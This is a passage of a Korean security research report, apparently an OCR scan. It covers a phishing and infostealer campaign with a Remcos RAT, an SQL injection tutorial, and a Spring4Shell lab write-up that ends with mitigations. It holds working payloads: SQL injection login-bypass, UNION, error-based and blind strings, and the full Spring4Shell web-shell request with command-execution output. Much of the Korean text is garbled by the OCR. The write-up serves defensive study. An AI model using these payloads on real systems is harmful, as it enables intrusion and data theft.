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Excel Online Account Sign In

EXCEL New Order #3872426974 O Download

ng Excel Microsoft Excel

Confirm your identity
Sign in with your valid email account to view document

Email ID someone@example.com

Email Password Password

@ Conyright 2021 Mizrosalt Cocporation

AR wde G5E s, Fdyel e A ste] AA EAE AAGA
) Al ok waRE ARESAU, FHRH S

a84BC236 UHICODE “#GoogleWChromettlser Datatilocal State™
a848C23B UNICODE "#GoogleWChromeWlser DataWDefaulttlogin Data™

a8y BC260C UNICODE "#MicrosoftWEdgeWUser DatatLocal State”
a848Cc271 UNICODE "#WHicrosoftWEdgeWlUser DatawWDefaultWlogin Data”

a0487F25 68 145441488 ASCII *“password_value*
Ba4Ba7F2a 68 24544188 ASCII "username_wvalue™

Step. 2) 712AE B3 AH AW FH

08409 B4A BF 7BE945 » ASCIT "Online Keylogger Started”

Step. 3) &AAANA A%

Proc.. « PID Protocol Local Address Local Port Remote Add.. Remote Port  State
DREQS\’CS.E}{E 3796 TCR 192.168.28.137 49217 103.6.198.106 587 ESTABLISHED
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Step3. 1A W9 HX

ol

g9 d/ety MAe oA A MY AGom Fud 4F A5
o
i)

Greetings,

This mail is to notify you about your debt for our last agreement. All compensation information, contract and prepared legal documents are located in the file attached:
Due to the required security measures, the document is protected

Your passcode: 57912

Sincerely,
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| - | [2] rsdll 2022-03-21 2=.. 28 =ZEJ1 Y |
. _Z’:JEXCELEXE 6.44 18,116 K 38,648 K 2936 Microsoft Excel Microsoft Co
= regsvr32.exe 395 99304 K 16,392 K| 1752 Microsoft(C) Register S.. Microsoft Co!

Step. 2) FAAANA AE

Proc.. PID Protocol  Local Address  Local Port Remote Add.. Remote Port  State
[]regsvﬁ2exel?52 TCP 192.168.28.136 49176 165.22.61.235 443 SYM_SENT
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Step4. 2 2+ FH &R £ F71 A&
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ayelol W F& BaA JIel 7149 delE LAY, ARG D] FEe
Mae @R BAS opAE B /Y olnAE AFAE F7h deE was
UL Falel ohgmEIL HUHW FAAE BAT ASAS 2n FAS] G|
A BAL B AA e

# RAT ePmEs 94 W 5a, 7127, Sags, 9u0a94 A4 4% 93 5 715

@ connections (1) | gy Proxy Servers | ) Automatic Tasks | & Local Settings | 3% Agent Buider | [5] Event Log (3) | @ About|

Location

Assigned Name

Computer/User

Operating System

Latency Active Window

Idle Time System Uptim

| ‘#} Korea, Republic of

RemoteHost

Mere

ACoA L A

il Control Center
System
Surveillance
Network
Extra
Remcos

Local

it "rltimate(SQ... 0ms

Remcos v3.1.0 Light

Screen Capture
File Manager
File Search

Process Manager

* ¥ v ¥

Service Manager
Registry Editor

Installed Programs
Window Manager
Clipboard Manager
Execute command
Command Line
Remote Scripting
Set Wallpaper

CELENED & SRS [

Power Manager

m

0 mins 30 mins.
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SQL Injection®] gt W8-S Z3Yst7]o Al dlo]E o] 29} dlojE o]~ #He]§ AojQl
SQL(Structured Query Language)ol] thal] Lo}lx 1z} 3hc},

Stepl. Hlo|E#lo] 22} DBMS

dolgulo]~ak dlolHE & o= #Hgstr] s xR deld HFES
DBMS(Data Base Management System)E S3ll =9 % #gdv. A5y, 48, 34
thefgk F52 DBMS7F EA18tH diF-E2] DBMSE #4138 DBMS(RDBMS)C| HH| =

ATh #AIE DBMSO| HlolEHH|o] == shit o] el (row)# A(column)E o] Fo| %l H
ojF Yo E HolHE At

HOlZEH — 3|8 Holg
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eqst 1234 O|R2E
 (row) insight 5678 CIAIO[E
web 1011 =
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(column)

[Hle]EHlo] = Hlo] & %]

E A2 #AE do]gno] 2= ORACLE, MySQL, MS-SQL, PostgreSQL o] ¢t}

K:E:

Step2. SQL (Structured Query Language)

SQLS dlolg o]z~ A Aol 7, AAl o AYS st tlolyuo] X~ #AeE dojo|r
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ORACLE SHEFY -
Ma=S0L CEEESY [
Bt EFY 3=
MySQL
o2 & F4 I**l

SQL +¥H2 A& 8% uz} gloly 2o (DDL, Date Definition Language), H|o]E Ao
(DCL, Data Control Language), Hl©|¥ Z2}o](DML, Data Manipulation Language) & &%
=3

infosec

3o 43

ﬂ
Hu
o

CRATE
cflolef =elof ’;ggs AZ|0}, B0 2, 001, &, OIEIA A/ /AKIE 1) AHR

TRUNCATE

COMMIT
GlolEf Aofol " on o ol o M2 e ol § 2| 530 4

REVOKE

SELECT

HolE] =&t ULT;TE 0| E{#0] 0] K=l LO|E|S AEN o= Halsher| AR
HI0|E| E8|/£7H AT AH| S
el (E0]E] Z31/%7H/45/AH 5)

dlolElol ~E Z3]stal #elsh vlolH xzoj7l 71 wol 2o, 4% T8 &4 £
QIE7} €t} INSERT, UPDATE, DELETE= 9 2 AWl delHE F7t, 74, 2hAlehe=
FIFE = F A7) witel] Agel Folsok gl
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&2 dolg &2l AlgHelt,

SELECT : dHlo]EjH]o]~9] Hlo]H =

SELECT [ZEY

[(=l=Ne]

2334 A4 91 3
] FROM [H|0| &3] WHERE [£7

v o]

AA;
INSERT :

» dlolE o] 2ol Hlo]EE

= F7heh7] 913 R
INSERT INTO [E]|0] =] VALUES [(HIOIEf Zt1, HIOIE| Zt2, .)j;
UPDATE : dlo]Efmo]~9] o

Jole] 43S 913k W ol
UPDATE [ 0| & &] SET [£

[REO|E1=00|Hgt1, E=0|S2=0|0|&fZ}

o
=

DELETE : dlo]gjH|o]22] dlo]E] AMAlE ¢35k o
DELETE FROM [H|O| = 2] WHERE [Z2 S 0|E=0[O0|E{ g}
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B SQL Injection

Step 1. /I

SQL Injection & 7W&A7E AR ol AdAd SQL Tito] obdd ofefHQl i
=]
4

F(njectiond= W, F&EH HAISS ANZ A Fol AR itz o9
E

Qe gho] SQL TR AT AHEFE BN BT & Y}
Hopue ALt AEeks 29l mi A4 7] So) e Fol SQL 9 BHA o E 2
Zu53E() 4 Al obef I o] SQL el2] WAIAE wEkgttbd SQL Injection 7]
7Fed Aow g 4 gl
279l
(28] Y gon TULE) W)
< C @ localhost:8081/egst/loginActionjsp N |

== 219l (root cause)

javax.serviet. ServietException: java.sql.SQLSyntaxErrorExceptioni|ORA—009331 S0L command not proper |y endedl

[SQL &9 7= A3k ol wWAA ]
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oleli Uuk AFEATL 9 Ao]Eo] BEE AAle] ofolrie MUWMER 2Ialss B0l
AR 94 @l ofolteh SAYEAL Aqu o] SQL FEA ows] FAet=AE Ve
Aolth. ©loleMlo] o] MEMBER ¥lofel gk A7k e ofoltiel mmwEs}
Axsh= A4S Ao 2adle] guuh

OFOIC] : eqgst SELECT * FROM member
H2HE - 1234

WHERE id="eqst' and pw="1234"

=ct0|E HI O] E{ [ O] &

olel FAAS BelAle] ofoltlel admin o EAE %3 HEAHBE S u SQL
Injection & 3 =1e1d= sgolth ofolt] 9 FoZ [admin' --1& Ysm

MW EE ele] ghel [111118 dstedl, oW oot 1= el 5FEA7F SQL
SHow Agete] FUEE() ol F9 T oz s MUNEE A Piol T4
Aeerh webd B AR Fn Qi FAAE el wWEMEE PP admin

ARem magle] 7hss it

Ofo|C| : admin' -- SELECT * FROM member
HZH= : 1111 WHERE id='admin’ --

M Hio|E{Hlo] &

OH

[SQL Injection & ©]-&3F FZAA}2] 27191 23|
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AEe A TEE A AuelA 9o e dds mw g wunss
;g o] I}

admin AlF o=

admin' --

(22 5 93]
J localhost:8081/egst/loginAction X + e B = -
< X @ localhost:8081/eqgst/loginAction.jsp | e AxE i
localhost:8081 Li&:
|admin‘E! "?'J%”Q'—IEl.l
sl
(HA Aoz 239 4F
olgd% FZAAE SQL Injection & F3] Z1918 933t 4= glow, doEuo]s 2z I
fre, Mg ggo] Ad T otlolgHloj 2o AR JFS FE v4S & F U
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Step 2. 37 #¥°l e BF

SQL Injection2 &4 F& wef A4 372 vy, o] & 2ud g X EoAe= 3714
-3¢l Union SQL Injection, Error Based SQL Injection, Blind SQL Injection | 3l 7-F3k
2707 AdEY F3E A AWy 34 AL v @5 H A dE AR

case 1. Union SQL Injection

UNION @Akz= 5 7)) oljabe] SELECT o that AxE sluz Ho] fo]EH|o] 2o A
ZZ3= Exo] Q). FAAE o]y ML o] &3t 7|E9] SELECT %o 93t:= dlo]g=
%3]3t7] $1¢k UNION SELECT & F7}ete] dolgu|o] ~& Z 3]ttt

UNION & Ab&317] 9l s F 7FA 7o) wrEsjof g,
1) SELECT #3} UNION SELECT #¢] A% 47} =dsjof s},

2) A€ 724 SHEE FAT dHolE FololoF gt

WHERE %7 4] ORDER BY #?%& o]&3lo] A8 2 *
Ade] AetE null £AS d9&iA AT 2] deolHd
e AAF o 2§ AA EolE HF0AM Ask= Ho
FEohe FAge AT

2 ORDER BY M2 HIO|H M A| A8l TREO2 SELECT 29| HY Jj4HL} B X2 73|38 A2 02|12 SUsy| I20 0|2 £3)

Hyol H+8 oy 4 Utk
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olgli= 719 SELECT 9l UNION SELECT A& F7}sted MEMBER Hl¢]&2] ID ¢} PW
Aol HolHE %33 Aijo|t}. 7]Ee] SELECT o thst 2 Axel ID 7} 'egst'dl
g gsl= Ayputo] x3|wojof 3li=d], UNION SELECT & ¢la] MEMBER Hlo]Zd] EAj5}=
2= D9 PW 7 F7H2 o2 FE53E AL gesk 4= 9t}

HIME o ZhA7|
1| 'SELECT * FROM member WHERE id = 'egst' d— 7|Z£9| SELECTE
2| |UNION SELECT null, id, pw FROM member;| €—UNION SELECTZ

Ex2E=s 25 = &L 24t =
a5 W EsoL ) P 2 3 50.0023)
4D |4 Pw |8 EMAIL |
legst 1234 0|75 —SELECTE0| CHoF Zu}
2 (muall) admin 5678
3 (null) egst 1234

4 (null) ssss gwegwe
F (null) test 1234

<4—UNION SELECTZ0| [zt Z1}

[UNION SELECT & =3]3F ZA3}]

case 2. Error Based SQL Injection

dolE o] 9] FHe] uhx] &2 AT dFH Al vEHE Y HRE VMo w FAsE
Hhdolth, B g xEQ 2% 3o FAE ORACLE dHlolEH|o|AE= 2 71#] £7F9] o
ARE vkglgic}

1) w0y - wed] wHo] AEEHATE de] AR

ServletException: java.sgl.SOLSyntaxErrorException: [0RA-00933: SOL command not proper |y ended|

ache. jasper . runtime. PageContext Imp| .hand|ePageExcept ion{PageContext Imp| . java: B57)
ache. izp. logindction_jsp. _ispService( loginAction_jsp. java: 215)

[ ol ¥ ]

2) AR 2 50| 7hedk olF ¢ Folo] AREA=A O et ol AR

javax.servilet servietExcenrtion: java.sal . S0LException: ORA-Z0000: Oracle Text error:
CRG-11701: thesaurus 1 does not exist

- Coa . me

Cul Yl il Wt TR 1t w0 ) o B ! B B LR 1 1 Ca

[JE 85| 7bedk o9 ]
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et #o]l AHH g5o] TJhsdt de] HAXE FAC A& Aol Error Based SQL
Injection ©|t}. o}dl= o8] A& T dhhel CTXSYS.DRITHSX.SN < ]3] MEMBER
HolEe] A WA Ahe HxH=s x|t Ay FAs oy wHAF oYt MEMBER
glolEo] AgE vdHS 3l '1234'7F o] WAAE F3 JEhdG AS 1% 4 ok

FIME  Zo FAT)

1| 'SELECT * FROM member WHERE id = 'egst' AND|CTXSYS.DRITHSX.SN|user,

2 (SELECT PW FROM (SELECT PW, ROWNUM AS ENUM FROM member) WHERE RNUM=1))=1--;
3

E~28E £4 x pEel 2k x
& B B S0l | 28 Z:SELECT + FROM member WHERE id = 'rast’ 8ND CTHSYS DRITHSY, SN

ORA-20000: Oracle Text error:
DRG=11701: thesaurus 1234 does not exist
| Dat . , line
ORA-0E512: at "CTXSYS . DRITHSK", line &40
ORA-DE512: af line 1
20000, 00000 - "%s"
+*Cause:  The stored procedure ‘raise_application_error’

o2} wWAAlE Faf 253 nEdHz]

infosec

B 50| 7Hs8 oS Qusts 34

UTL_INADDR.GET_HOST_NAME((&l3t= MEZ2] LH2))
UTL_INADDR.GET_HOST_ADDRESS((2l3t= M=32| Li2))
ORDSYS.ORD_DICOM.GETMAPPINGXPATH((&13t= =3 2| LH),user,user)
CTXSYS.DRITHSX.SN(user,(2l3t= ME72| LIR))
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case 3. Blind SQL Injection

iL(True)o Ay AA(False)?! AT Y Al HEE &= dlolHE vluste] dlolHE
Z8h= s Aot Blind SQL Injection FeFsel =] 2HQlskr] A A7 el w3t

$ glo] W3y = AES

U
My T
_E

AN
s

N
rO
o

S
AR PR R ANE AABY, ool 3
uolFu, A2 Aask Aglelmz gro] MATA e AL

b
%2
5

HIANE 2o 24D
1| 'SELECT id, pw FROM member WHERE id||.11c5: 'egst' and 1=1 ——'_.-|

-
&

=& Z4 =
B0 E SOl A& 2E #: 1(0.0053%)

41D [ Pwi
1| east 1234

(A2 23p7F 29 Ad5]

HIANE  Eel EZHAD
1| 'SELECT id, pw FROM member WHERE id [LIKE 'egst' and 1=2 ——'/|

-
&

&0 20t x
& 5 W SoL | 2ISE 2 #: 0(0.0055)
41D [ P

[ A7t AR A
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?1¢t %ol Blind SQL Injection & 279 s Ao st s go] Hidx = g9
Ao whe} ARE FH53] vtk ®=3F Blind SQL Injection 9 71 2 EH L Ex19 9
TS Sttt FEeke Aol HasitheE Aotk 1 R EARE 1 = 9l7] Wi

TALE A2s FeE oS Ak dHolHe A= 1 /M #<lstd HolHE FEdth

BAGL A2 93 e G et 2,

infosec
Cl|O| E{ | 0] A e
Oracle SUBSTR()
MS-SQL
SUBSTRING()
MySQL
Al GEEE olBa WHAA WiLE AR delulolsel A Holwel ATt o,
A A5k olF, U4l HelHE U FEAsbE T4 yolth HAe] uEy: 1)
A3ty AIAYEES A}ﬁz‘s}—t— Zlo] dybz otk
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SQL Injection ¥ #HAF ZFE5o] & 7kx Q. 1 %OME @& SQL AYE
H A E3= Alo]E¢l SQL Fiddle ¥ t}oksh 517—3, 2 —er Cheat Sheet ¢!
Pentest Monkey, vFA|® o 2 SQL Injection FoFd<& %X]S}l Agst=d 2ol= AE3}
A =791 sqlmap o Hisl &7)sk .

;
x
Ir r\l

1. SQL Fiddle
- URL : http://sqlfiddle.com/

8 2eRpAdA SQL AeE A
cheFe dlelelol ot WAL AUsta ek, A
4 ae v, AAH o AE dole AT

AtolEolm Oracle, MS-SQL, MySQL %
27 A HolES s #@s FUhe
o &4 "2Ed & ¢ Ak

é_ﬁflr

2. Cheat Sheet — Pentest Monkey
- URL : https://pentestmonkey.net/category/cheat—sheet/sql-injection

A<l Cheat Sheet A}9]E<Ql Pentest Monkey oA+ dlo|EH|o]~¥ Cheat Sheet &

A-Fstar Aot st ¥4 Ho|2=E AFsl] 7] wol % 10}7101] TOU EEhA] g2

HE ES g oQorng FA HolR=rt oust Pol JIFS v X =A] o]dstal ALES=
o}

3. sqlmap

- URL : https://sqlmap.org/

SQL Injection FHeFHS ©HA/Hdstar zsslsle] 48 ¢ e oLE4A~s HF HXE
LETolt}, dlolE o] Fx ylety) fo]E Ti 52 AE3teiar] wio] A7FS doFsk =
A= o] AAW =g JEST EFY fFEE Qs AW IS njEH 4 glermg

gl [ere]
AR 2 el Rom, A HAE Audle] 488 AR
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oy ot
= =02

SQL Injection®] 7N&& AT BT} SQL Injection F ko] A& 74

delgue] ~5 FAste] T8 FRE X3ty @3 ¢ Jon=z Jfdates FHofo] Ay

SHA L Jddlor shar, FeAE FH ok U Al rEh glo] e Ao Fasith

olo] A= 5¢Y Fo|A= SQL Injection®] 3744 37 €38 F SELECT®9¢ Addoz AWE
el

[e] =
%3} 'Union SQL Injection'e] 73} FH e Axnme Abg Al A = Qs T4 o
& 2pAE] Lolr = ST
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Research & Technique

Spring4Shell | 2F8 (CVE-2022-22965)

m Y e

o

Spring4Shell(CVE-2022-22965) #Fde 2022 W 3 9 29 4 /¥ A=do] FoFdo|t}
S AAE SpringdShell HFH S Bl 54 21 ] o ZAlolAde 9HaS st F71
WS Agsls AAF=AYPRCE) 40| 7Fsslth. Spring Framework ® 2 =g ]
o | A ol doll A A e T4 WHy Pl wg2o] Logdshell ' HFHES
AGAIA Springdshell o] 2l= Hr o] &3]t

% @A) Spring Framework 5.3.18, 5.2.20 3}#], Spring Boot 2.5.12, 2.6.6 XA X7}
g

B Y e ATmEQ o] B
CVE-2022-22965 ol FeFst AT Eg o= th53 g

s/W 7 L

Spring Framework 53.0~5.3.17, 52.0~52.19 & O™ HH

% JDK 9 o]Ate] Bl oA A& %E Spring MVC ¥+ Spring WebFlux ¢ of =g Al o] A

3 KtHE ESEZS 9ISt LEAA OfE2[AH0|M Zy YT Z AEZZI0|=g OfSE|AHO0|MS JHLSH7| 3t 2E
Jleg SEEHOR HIste AT 22N

4 Xtut 71"t 224 SE2IE[Q Logd) Of| Al LMTH RCE FHAMCZ S AXIL |t ZEE MHONM MY 71530
=2 FFo MZZE JHX|1 ULt (CVSS Score: 10)
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m 3% Auzle
Spring4Shell(CVE-2022-22965) FFd S o]t 34 Ayg| & a3 2o

infosec

i |
---------- ——
é @

I

CVE-2202-22965

0ol e

= e
s 23|
7% opyzE i} @
1
(24 Adele]

P

}+= Spring4Shello] #otah ol e Al
s @70e] 1 ofEel7leld ABol SpringdShell F74 A%
ox glo gao] #ao] ed 44 A
e A5 A= 5 dERD0] oy =g A
H Ul PCAA T8 HEE &

M

o

o2 Y Y 19 Y

SECITACES
oy off po A% oy

H2AE 374 F%319 Spring4Shell(CVE-2022-22965)2] 52t #4& 2w},
e e

Kali Linux 2022.1

BAR
(192.168.2.135)

L Spring Framework 5.3.17

) JDK 9
(Docker container)
Apache Tomcat 8.5.77
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Step 1. 87474

Spring4shell HZE 374 VMware ¢ Docker = °]-&3}9]
A )Y (IDK9 + Spring Framework) & -4 3+t},

Local “vMware (Docker -
Container
K (
|KALI| || @)spring <
—— Framework |Java
S4%t
U | off X} 4

[H2E 37 =4]

(=7 ZAEelddA F48 A f fEA 4]
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Step 2. PoC HIAE
HAEE 93k PoC 7} A% github URL & t3-3F #tf.

URL : https://github.com/dinosn/spring—core-rce

step 1) &2 PC oA PoC ZEZ 1to]ly 3U(test.py)S e 5 As)si}

$Python3 test.py --url http://127.0.0.1:8066

http://127.08.0.1:8066/

shell:http://127.0.0.1: /tomcatwar. jsp?pwd=jicmd=whoami

[PoC ZE A3

step 2) dafzte] f ofEeACIAA WAl APEH, olE Tl de] wWH FH]
75 3kt

© O O 127.0.01

root // - if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in =
-.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new
byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } -

[€94 ‘cmd=whoami’ &3 uW£&]

O DO 127.0.01

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:1p:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbhin:
/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/shin/nologin operator:x:11:0:0perator:/root:/shin/nologin
games:x:12:100:games:fusr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin dbus:x:81:81:System message bus:/:
/sbin/nologin systemd-coredump:x:999:997:systemd Core Dumper:/:/shin/nologin systemd-
resolve:x:193:193:systemd Resolver:/:/sbin/nologin // - if("j".equals(request.getParameter("pwd"))){
java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a =

[€¥4 ‘cmd=cat /etc/passwd &3 W-&]
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https://github.com/dinosn/spring-core-rce

B OE|OFH ARN| BA

1o o =

o

Step 1. H A LA U

Spring4Shell FeFd e HTTP L73o] ¢ o =g A o] Ao XJ“E] AL uw, URL %+ body
BEo gl HE Java Ao &93s= Data binding w|#A o2 Q3] WSt oE
So] A o=y A o)A “httpI//test.com/greetmg?ld—test Q3o HEHE= AF
@PostMapping(“/gree

ting”) &= 23] id="test” &1 EE Greeting B}YY 8oz BA3a, A id ¢ A==
“test’ = A A FH ]

@ =
http://www.test.com/greeting?id=test

Data binding

ojojo

Public class Greeting{ . -
Controller ——  Private long id: — greeting.getld()=="test

@PostMapping("/greeting”) 2 24 1wy

[Data binding — Y¥tAX W3]

Spring4Shell F°Fd2 o]2]3F Data binding WlAYES o]&3ste] dut 7
ClassLoader £A4& AARAT = 7] d& ‘%‘*3?&3}. T2}
body ©l| ClassLoader & A3+ 23S HYo =z Y& A E

Q http://www.test.com/greeting
" Body: class.module.classLoader...=test

Data binding

A

==

kol
= olgle} o] URL T+
Hzsl= 917t 7Hsshth

o

Public class Greeting{ class.module.classLoader...
Controller —>  Private long id; — pattern=="test"

Qs EAT L R ClassLoader 28X 173

[Data binding — ClassLoader A ®W7]
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Step 2. FFH FAl

Spring Framework | 4]+ Data bindin
ZQ A7} FRAA FAYE AL WA 7] 98] =71 (Class.class==beanClass) S =3
s AFslsE 3= 7 A3 AT JDK 9 W AREH RE ZF# 2~ (class.getModule) 7}
=W A ClassLoader ZAAE <F-oA =4 4 AA o] Springdshell FHIFHOo=

o) At}

[0/¢]
o
¥
O:Oé
sk
=)
@
o))
wn
)]
.
o
[ab)
[@N
(@}
-
-
.
@)
=}
@D
@]
=,
@]
=)
)
@]
=
=
=)
i)
iy
rlo

PropertyDescriptor[] pds = this.beanInfo.getPropertyDescriptors();
for (PropertyDescriptor pd : pds) {

if kClass.class == bean[lassl&&

("classLoader”.equals{pd.getMame(}) || "protectionDomain”.eguals(pd.getName()})) {
/f Ignore Class.petClassloader() and getProtectionDomain() methods - nobody needs to bind to those
if (Class.class == beanClass && (!"name”.equals{pd.getMame()}) &% !pd.getName().endskith{"Name"})} {
/f Only allow all name variants of Class properties
continue;
I
if (pd.getPropertyType() != null && (Classloader.class.isfssignableFrom{pd.getPropertyType())
|| ProtectionDomain.class.isAssignableFrom(pd.getPropertyType()))) {
/f Ignore Classloader and ProtectionDomain types - nobody needs to bind to those

continue;

[#12] WY 1 (CachedIntrospectionResult.java)]

Spring Framework &4l #}% 44 Wy&& ®HW CVE-2010-1622 FHoFd x| Htl AdA5HA
EFS Algketar glow, ¥ HA49 ol WY EstEs WAL T
ClassLoader % ProtectionDomain ¥1Z& WA|3}7] 3t F+ HA A7 22 o] F71E S},

@2 private woid introspectInterfaces(Class<?» beanClass, Class<?» currClass, Set<St

// GenericTypelwarePropertyDescriptor leniently resolves & set® write method
// sgainst a declared read method, so we prefer read method descriptors here.
pd = buildGenericTypedwarePropertyDescriptor(beanClass, pd);
if (pd.getPropertyType() != null &% (ClassLoader.class.isAssignableFrom{pd.getPropertyType())
|| ProtectionDomain.class.isAssignableFrom{pd.getPropertyType(}1)) {
J// Ipnore ClasslLoader and ProtectionDomain types - mobody needs to bind to those
continue;

T
this.propertyDescriptors.put{pd.getiame(), pd);

[81A] Y 2 (CachedIntrospectionResult.java)]
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Step 3. PoC #4]

HlA~Eo AFEHE PoC & Ay EW, Tomcat ¢ AccessLogValve ¢ £AS W xste] £
e Ja4& At Ak 23] ClassLoader & W3l Fen|gE do] B
AccessLog 9 &, &ga, 4=, o5& 4A} d=d HEoew nkE 5 V] o)
HAExHozE 4 tggy ofg YAdzm=r ¥3k9 jsp HAS AT = )

' - ~ —
= ZH9d Ms -
- > 0o =
O o =
Request Body: AccessLog ItY &°d HZE
class.module.classLoader...pattern=[E &3 E] 2o e == g43ac
class.module.classLoader...suffix=jsp == i =1} ?,;ID|A|- == jsp
class.module.classLoader...directory=webapps/ROOT 20 42 == webapps/ROOT
class.module.classLoader...prefix=tomcatwar 230tY 0|& == tomcatwar

[PoC 34 #A]

PoC ol 4 wjafjzte] §) of ZejAlold oz dFsh= 2742 ofgioh At

Time Source Destination Protocol Length Info
40. GGZZ?BGE4 172.17.0.1 172.17.60.2 HTTP 1087 P()ST / HTTP/i 1 (appllcatlun/x Wil - fnrm urlencnded)
0 Q p

c2}i if("j".equals(request.getParameter("pwd"))){
i.getRuntime().
.modulei 0 r 1 nt.pipeline.fir

module er.r ontext.parent.pipelin i d1|e=.tmv = "webapps/ROOT"
.module oader . ri t.pare pipeline.fir

text.parent.pipel i .prefix" = "tomcatwar"
t.parent.pipeline.f
tomcatw:
ss.module .T s.context.parent.pipel i fileDateFormat" = ""
.module.classLoader. .parent.pipeline.f 5 iteFormat

(£33 Body W&(wireshark)]
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jdzerk 23HE gl os Mg,

class.module.classLoaderresources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%201if (%223%22. equ

als(request.getParameter(%22pwd%22)))%7B%208java.io. InputStream%20in%20%3D%20%25%7Bc1%7D1
.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%208%3D%
20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while ( (a%3Din.read(b))!%3D-1)

%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di

A gl dFsks dee dolE = oo 22 94l m=olth

java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];

while((a=in.read(b))!=-1) {
out.println(new String(b));

¥

[2a3tdel ZHe fHd3=]

2) 23t st WA ¢ Al 2okl AElAbE “Gsp = A F,

class.module.classLoader.resources.context.parent.pipeline.first.suffix=jsp

3) 2ashed A= W7 As 2and A2 4FE deees wg e,

class.module.classLoaderresources.context.parent.pipeline first.directory=webapps/ROOT

4) 2audv W7 @ 2a9Y9E-S “tomcatwar’ = W7 gk}

class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
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o ge aye Fol Mz masdde Ygs 94 wEw gol2y] B jsp HAAE
Aol g1 veEee] 942 5 ek Y Zastde 442 $A5 93 sehe g

95efb ROOTH pwd
bapps/R0OOT
fb ROOTH 1s
WEB-INF org t
5efb ROOT Bt

java.io.InputStream in = Runtime
byte[] b = new b

ream in

|app bin dev etc home lib 1ib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var J/ -
if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in =
-.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new
byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } - -
if("{".equals(request.getParameter("pwd"))){ java.io.InputStream in =

[HB2H$-A o]g3sto] 44 4¥]
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M Spring4Shell 474 uiH

1r

Spring4shell F°FdL2 JDK9 ®#A o]AS AF83t+= Spring Framework(Spring MVC HE+=

Spring WebFlux) ¢ ofjZgAlo] oA dAst} JDK WA Spring Framework AHE: 5=
gelsle] kst 4= Qi)

1. JDK ¥A &<l

AA A T IDK WA 9l WEolE Fall DK 9 o] e mAs AR B Fofe

# java -version

/H java -version

vironment (build 9.0.4+11)

VM (build 9.0.4+11, mixed mode)

W9, ofele} o] IDK8 olste] ML AET A% AP Aoy s,

infosec

<GiAl>

openjdk version "17.0.2" 2022-01-18
OpenJDK Runtime Environment (build 17.0.2+8-Ubuntu-120.04)
OpenJDK 64-Bit Server VM (build 17.0.2+8-Ubuntu-120.04, mixed mode, sharing)

2. Spring Framework A& &% ¢l

ZRAET}L jar, war H7IAZ Ho U= A zip A A g =
WEols At wWEe] Al A opel o] #HH ] %ZH?'&E}US_ Spring
TIHAYAE ALgate] sptE & Tradfolmw FHokdo ik i Hb o]
4 2.3}t

f
X
il
e
ol
ol
£
O
J{N'
mlo

)

#find . -name spring-beans* jar
#find . -name spring* jar

#find . -name CachedIntrospectionResults.class

. -name spring-beans#*.jar

/Bl

[‘find . —name spring-beans*.jar J&Eo] &8 y£&]
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H CjE uiot

O -

Spring4Shell & ZX3t= 7P F& By 228 ZYUdYas A wAG2.20 B
= ;( _]
2]

5.3.18)0.2 91 = Zolt}. Spring Boot &
Aadel=ste] X3 4 Q.

Aageol= e oLy g2

Maven — pom.xml %4

AFESE A 2.6.6 HHOR

<properties>

<spring-framework version>5.3.18 </spring-framework.version >

</properties>

Gradle — build.gradle %

ext['spring-framework.version] = '5.3.18'

Spring &4 2% Jadol=rt EVles A4S okl 8-S dasta o
1. Apache Tomcat & 10.0.2, 9.0.62, 8.5.78 B|H o & a7 o|l=

2.JDK 9 o WS AHEStaL = 445 JDK 8 = the-1eo] =

3. Ao Zg A o)A ZEo| ClassLoader YHFZH= &8 xpdsl=@ControllerAdvice &

F7}

@ControllerAdvice
@Order(Ordered. LOWEST_PRECEDENCE)
public class BinderControllerAdvice {

@InitBinder

public void setAllowedFields(WebDataBinder dataBinder) {
String[] denylist = new String[l{"class.*", "Class.*", "*.class.*", "*.Class.*"};
dataBinder.setDisallowedFields(denylist);

}

¥ 9 Al 71A S oA Helo]W Sring Framework 2 H4l B o2 dado|lssts AL
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« URL: https://spring.io/blog/2022/03/31/spring—framework-rce—early—announcement#

suggested—workarounds

URL: https://jfrog.com/blog/springshell-zero—day-vulnerability—all-you—-need-to-know/

e URL: https://unit42.paloaltonetworks.com/cve-2022-22965-springshell/

« URL: https://nvd.nist.gov/vuln/detail/CVE-2022-22965

« URL: https://www.lunasec.io/docs/blog/spring—-rce-vulnerabilities/

« URL: https://github.com/spring-projects/spring—framework/commit/002546b3e4b8d
791eabaccch81eb3168f51abbl5

» URL: https://medium.com/geekculture/spring—core-rce—-cve—-2022-22965-a-deep-
understanding—f0bd02113769
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